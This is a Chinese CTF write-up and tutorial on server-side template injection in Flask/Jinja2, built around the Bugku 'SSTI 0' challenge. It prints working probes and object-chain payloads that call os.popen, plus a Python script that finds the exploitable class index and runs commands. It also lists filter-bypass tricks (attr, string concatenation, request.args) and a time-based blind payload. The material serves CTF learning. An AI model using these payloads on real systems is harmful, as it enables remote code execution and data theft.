☰
SSTI入门到实战:从模板注入探测到命令执行全解析
2026/9/28 12:46:09 网站建设 项目流程

最近在Bugku刷到SSTI 0这道题,很多新手朋友在群里问,我自己第一次遇到的时候也一脸懵。SSTI全称Server-Side Template Injection,服务端模板注入,是CTF Web方向绕不开的知识点。这道题的设计就是给入门者练手,入口看起来像个简单的查询框,但里面藏着一整条从模板语法到命令执行的链路。如果你刚接触CTF,或者已经会拿现成Payload打但搞不清原理,这篇内容应该能帮上忙。我会从探测、利用、绕过到踩坑,一步一步拆解,顺便分享一些我平时实战中总结的小技巧。

1. 题目初探:SSTI到底是什么

1.1 从“查询框”说起

第一次打开题目,页面非常简单,一个输入框、一个提交按钮,提示输入id即可查询到信息。看到这种场景,条件反射是测SQL注入,结果输入1' or 1=1,页面回复完全不符合预期,也没有数据库报错,倒是输入一些奇怪符号后,返回结果里出现了“Hello”后面跟着原样内容,感觉哪里不对劲。

这种“原样回显”的场景,往往要往模板渲染方向想。Web框架为了渲染动态页面,普遍会用到模板引擎。模板引擎本质上是把静态HTML和动态数据拼在一起的工具,比如一个欢迎页面,模板会写成“Hello, {{ name }}!”,后端传入name变量,最终渲染成“Hello, 小明!”。但如果开发者直接把用户输入塞进模板字符串,再交给模板引擎渲染,用户输入的模板语法就会被当成代码执行,这就是SSTI。

用生活化的类比来说,模板引擎就像打印店里的预印空白合同,框架负责把变量填进字段。正常情况下,用户只能控制“金额”“日期”这些字段内容,但如果打印店把整张合同纸包括格式字段都交给客户填写,客户就能在合同背面写任何附加条款。SSTI就是这个“附加条款”的入口。

1.2 模板语法不只是${}

很多教程一上来就扔一堆Payload,但不解释为什么{{7*7}}会回显49。模板引擎在渲染时,会识别特定标记符内部的表达式,并先求值再替换成结果。Jinja2是Python Flask框架默认模板引擎,表达式写在{{ ... }}里,语句写在{% ... %}里。当你传入{{7*7}},模板引擎先计算7乘以7等于49,然后把49输出到HTML里。

理解这层逻辑后,自然会往下想:双花括号里能不能写更复杂的代码?能不能读取配置信息?能不能调用对象方法、甚至执行系统命令?答案都是肯定的。一旦模板引擎把用户输入当作模板代码渲染,SSTI的杀伤力就从“算术测试”升级成“任意代码执行”。这也是SSTI在CTF里常作为中高难度题出现的原因。

2. 探测与确认:别急着上payload

2.1 先用几条基础探测语句

判断一个点是不是模板注入,最好的办法不是直接上大Payload,而是先给几个“标记性”输入,看哪种引擎的特征语法生效。我常用的五组如下:

  • {{7*7}}:Jinja2、Twig等引擎会回显49。
  • ${7*7}:Freemarker、Velocity等引擎的表达式。
  • {{7*'7'}}:Jinja2中字符串乘数字会报错,Twig中返回7777777。
  • {7*7}:Smarty引擎的写法。
  • <%= 7*7 %>:ERB,Ruby模板引擎的写法。

在Bugku这道题上,输入{{7*7}},页面直接回显“Hello 49”,基本锁定是Python系模板引擎。接着输入{{config}},如果回显一段包含SECRET_KEY的配置信息,那几乎可以确认是Flask + Jinja2环境。

注意一点,不要上来就丢执行命令的Payload。先确认引擎类型特别重要,因为不同引擎的利用链差异很大,拿Jinja2的Payload去打Freemarker,成功率很低,反而浪费时间。我见过不少新人卡在“为什么我的Payload没反应”,最后发现目标根本不是Jinja2,而是Smarty。

2.2 看回显也要看报错

有回显的时候最好办,但有些题目会对回显做包装,表达式结果藏在“Hello”后面,或者被截断。我一般会抓包看完整响应,而不是只看浏览器渲染后的页面。浏览器可能把HTML标签渲染掉,导致部分输出看不见,尤其对引号、尖括号这些字符,情况更明显。

另一种方式是有意制造报错,比如输入{{1/0}}或{{'a'+1}},看返回内容里是否包含Traceback、jinja2.exceptions.UndefinedError等异常信息。报错信息很容易泄露模板引擎和Python版本,对后续利用非常有帮助。如果页面完全不返回异常,可以在表达式里加入计算耗时较高的操作,比如{{ [x for x in range(1000000)] }},根据不同响应时间判断模板是否执行了表达式。

2.3 常见误区:这不是SQL注入

做CTF最忌讳惯性思维。输入框叫id,参数叫id,不等于后端就是在执行SQL查询。如果一门心思拼SQL注入,像id=1' and 1=1--+,后端很可能直接把整个字符串放进SQL语句,但数据库没报错,页面也毫无变化,于是陷入死循环。

我建议初期测试统一走一遍“原样回显型漏洞”的通用流程:先试普通字符串看是否原样输出,再试HTML标签看是否被解析,接着试模板表达式,最后才轮到SQL注入和XSS。这套顺序在应急响应里同样适用,很多被黑站点的突破口其实不是数据库,而是藏在小功能点里的SSTI。

3. 从回显到命令执行

3.1 对象链的底层逻辑

在Jinja2里,能执行代码的根本原因在于Python对象模型。模板表达式可以直接访问对象的属性和方法,这些属性名字有特殊规律。每个对象都能通过__class__拿到自己的类,类的__mro__拿到继承链,顺着继承链找到object类,再通过object类的__subclasses__拿到当前Python解释器里已加载的全部类。

这些类里面,有些类的__init__方法所在的模块导入了os、sys这类系统模块。通过__init__.__globals__,可以拿到函数所在模块的全局命名空间,里面往往躺着os模块。一旦拿到os模块,就能调用os.popen执行系统命令。

这就像你站在一个房间里,先拿钥匙(__class__)打开房门,走到走廊(__mro__)找到整栋楼的弱电井(__subclasses__),再从弱电井里找到一个联网设备(目标类),最后用这个设备的接口去控制所有系统(__globals__)。新人看不懂对象链,就是因为没把这几个环节拆开理解。

3.2 一条能用的经典Payload

直接贴一条适用于Python3环境的经典Payload:

{{"".__class__.__mro__[1].__subclasses__()}}

这条Payload能列出当前解释器中的所有类。但直接输出会非常长,页面通常显示不全,而且不同Python版本下类顺序不一样。因此实际利用时,通常要选一个方便构造的类。Python2里常用<class 'warnings.catch_warnings'>,Python3里常用<class 'os._wrap_close'>,因为后者所在的模块已经导入过os。

执行命令的常见格式是:

{{"".__class__.__mro__[1].__subclasses__()[280].__init__.__globals__['os'].popen('cat flag').read()}}

这里的索引280不是固定的,需要现场枚举。我一般会先确认类列表长度,用这个表达式:

{{("".__class__.__mro__[1].__subclasses__()|length)}}

如果环境里类总数是几百,说明输出会很长,那就分段看,每次只取一段,比如[0:20]这种切片方式来缩小范围。回显有限制的题目里,切片格外好用。

3.3 写脚本自动找可利用类

手动数索引效率太低,我在实战里更习惯写一个小脚本,自动发请求、提取回显、定位可利用类。脚本思路并不复杂:

  1. 读取目标URL和参数名。
  2. 发送{{"".__class__.__mro__[1].__subclasses__()}},拿到完整类列表文本。
  3. 用正则从文本中提取每个类的索引和类名。
  4. 对每个索引构造{{...__init__.__globals__.get("os")}},观察回显是否包含module 'os'。
  5. 找到后,再构造执行cat flag的Payload。

给一个简化版参考代码:

import requests import re url = "http://your_target/" param = "id" base_payload = '{{"".__class__.__mro__[1].__subclasses__()}}' res = requests.get(url, params={param: base_payload}).text print(res[:500]) # 这里只是演示,实际可能需要处理转义和截断 for i in range(300): p = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__.get("os")}}' r = requests.get(url, params={param: p}) if "module 'os'" in r.text: print("found os at index", i) cmd = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__["os"].popen("cat flag").read()}}' print(requests.get(url, params={param: cmd}).text) break

用requests自带params传参时,大部分特殊字符会被自动编码,减少了手动处理转义的麻烦。但如果题目环境对请求长度敏感,或者有过滤,可能还需要用POST请求或分块拼接来绕过。

3.4 读取flag的常见思路

拿到命令执行之后,不一定是cat flag就能结束。flag可能就在当前目录,也可能在根目录,文件名还可能带随机字符串。常见思路是先用ls -la看当前目录,再用find / -name "flag*" 2>/dev/null全盘搜索。

如果命令回显被截断,可以分目录读取,比如cat /flag、cat flag、cat /home/flag*多试几个路径。有些题目允许直接读文件,不需要走os模块,比如:

{{open('flag').read()}}

如果这个表达式能用,说明目标环境里可以直接访问open函数,省去对象链的构造。但多数情况下,题目环境不会给你这么直接的入口,对象链才是通用解。

这里需要强调一个细节:我们构造的Payload利用的是某个类的__init__.__globals__['os'],而不是在模板里主动import os。因为模板环境本身没有import语句的权限,所以必须“借用”一个已经导入过os的模块的全局命名空间。理解这一点,就能明白为什么索引不对时会报错,而不是怀疑题目是不是有问题。

4. 被过滤了怎么办

4.1 字符过滤的通用绕过手法

入门题通常不做过滤,但稍微进阶一点的SSTI会阻断部分关键词,比如__class__、os、popen、flag等。遇到过滤时,优先考虑绕过,而不是换一种注入类型。

常见手法有字符串拼接,模板会先执行拼接再访问属性,例如:

{{""["__cl"+"ass__"]}}

还可以用Jinja2内置的attr过滤器,把属性名作为字符串参数传进去:

{{""|attr("__class__")}}

attr过滤器可以绕过直接写点号的过滤规则,被很多题目卡住的时候,这一招往往直接破局。此外,十六进制和Unicode编码也能藏关键词,比如__class__可以写成:

{{""["\x5f\x5fclass\x5f\x5f"]}}

4.2 利用request.args当“白手套”

如果过滤规则连__mro__、__subclasses__都干掉,我在实战中更推荐用request.args传参。思路是在模板表达式里只写request.args,把真正需要的属性名、方法名全部放到URL参数里。例如:

{{""|attr(request.args.a)|attr(request.args.b)}}

访问时URL后面加?a=__class__&b=__mro__,这样模板里出现的都是request.args,没有敏感关键字,而URL参数里的字符串有时不会被过滤规则扫描到,即使扫描了也可以通过URL编码调整。

这种方法在过滤字母数字的场景下特别有用。比如过滤了下划线,可以用\x5f这种十六进制表示;过滤了中括号,可以用|attr替代。把对象链拆分成多个参数,慢慢拼接,就能绕开绝大部分表层过滤。

4.3 无回显与盲打方案

页面如果不直接输出表达式结果,比如所有输出都被HTML编码,或者被统一替换成空白,那就要考虑盲SSTI。最常用的是时间盲注,构造:

{{"".__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['time'].sleep(5)}}

如果页面明显延迟5秒,说明当前索引对应的类确实可以访问time模块,也就说明命令执行链路可用。在此基础上,可以进一步外带数据,但在CTF练习平台里一般不推荐搭外带接收端,一是目标多半不出网,二是规则限制多。遇到无回显题目,我通常会先试着把表达式结果注入到HTML注释里,有些框架会原样保留模板渲染后的注释内容,这样就能用view-source看到结果。

5. 实战复盘与高频问题

5.1 一道入门题的全流程操作

把整个过程串一遍,假设题目URL是http://target/?id=test,页面返回“Hello test”。第一步,输入{{7*7}},返回“Hello 49”,确认SSTI。第二步,输入{{config}},回显SECRET_KEY等配置,确认Jinja2环境。第三步,输入{{"".__class__.__mro__[1].__subclasses__()}},发现输出过长,改用|length确认类数量。第四步,用脚本遍历索引,找到带os的类,假设索引是245。第五步,构造完整Payload:

{{"".__class__.__mro__[1].__subclasses__()[245].__init__.__globals__['os'].popen('cat flag').read()}}

拿到flag,收工。

这个过程每一步都有目的,不是单纯背Payload。为什么先确认引擎,为什么先列对象链,为什么用脚本遍历,这套思路在任何SSTI题目里都通用。参数名不一定叫id,可能是name、user、search,但探测逻辑完全一致。

5.2 常见问题速查表

我把实际操作中容易踩的坑整理成表格,遇到问题可以先对照排查。

现象原因处理方式
{{7*7}}没回显模板引擎不是Jinja2,或输入被编码改用${7*7}、<%...%>等语法测试
返回500错误表达式语法错误,或模板引擎直接抛异常检查引号、中括号、索引是否匹配
{{"".__class__.__mro__...}}被截断输出长度限制先用length确认范围,再用切片分段取
找不到可利用类Python版本不同,索引偏移写脚本遍历,或尝试__init__.__globals__的其他模块
命令执行后无输出命令错误、权限不足先执行ls、whoami看回显
过滤__class__WAF或代码过滤用attr过滤器、字符串拼接、request.args绕过
无回显且页面不报错输出被处理尝试时间盲注或注入到HTML注释

5.3 我的几点经验

最后说点碎片化的经验。拿到SSTI题目,我建议先在本机搭一个Flask环境,用Vulhub靶机或者自己写一个最小的SSTI漏洞示例,把Payload在本地跑通,再回目标上试。这样既能快速验证类索引,又不怕把目标环境打崩。

看别人的Payload时,一定要拆开理解每一层属性是做什么的,千万不要整套复制。题目一变,索引就变,过滤就变,不理解原理的人只能永远在找可用的现成字符串。

还有一个小技巧:当页面回显里能显示对象列表时,优先找os模块相关类,比如os._wrap_close、os.environ这些。找到其中一个,后面的命令执行链路就畅通了。如果目标环境是Python2,则更多看warnings.catch_warnings这类类对象。CTF练习就是这样,多动手、多踩坑、多记录,下次遇到SSTI时你会觉得不过如此。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询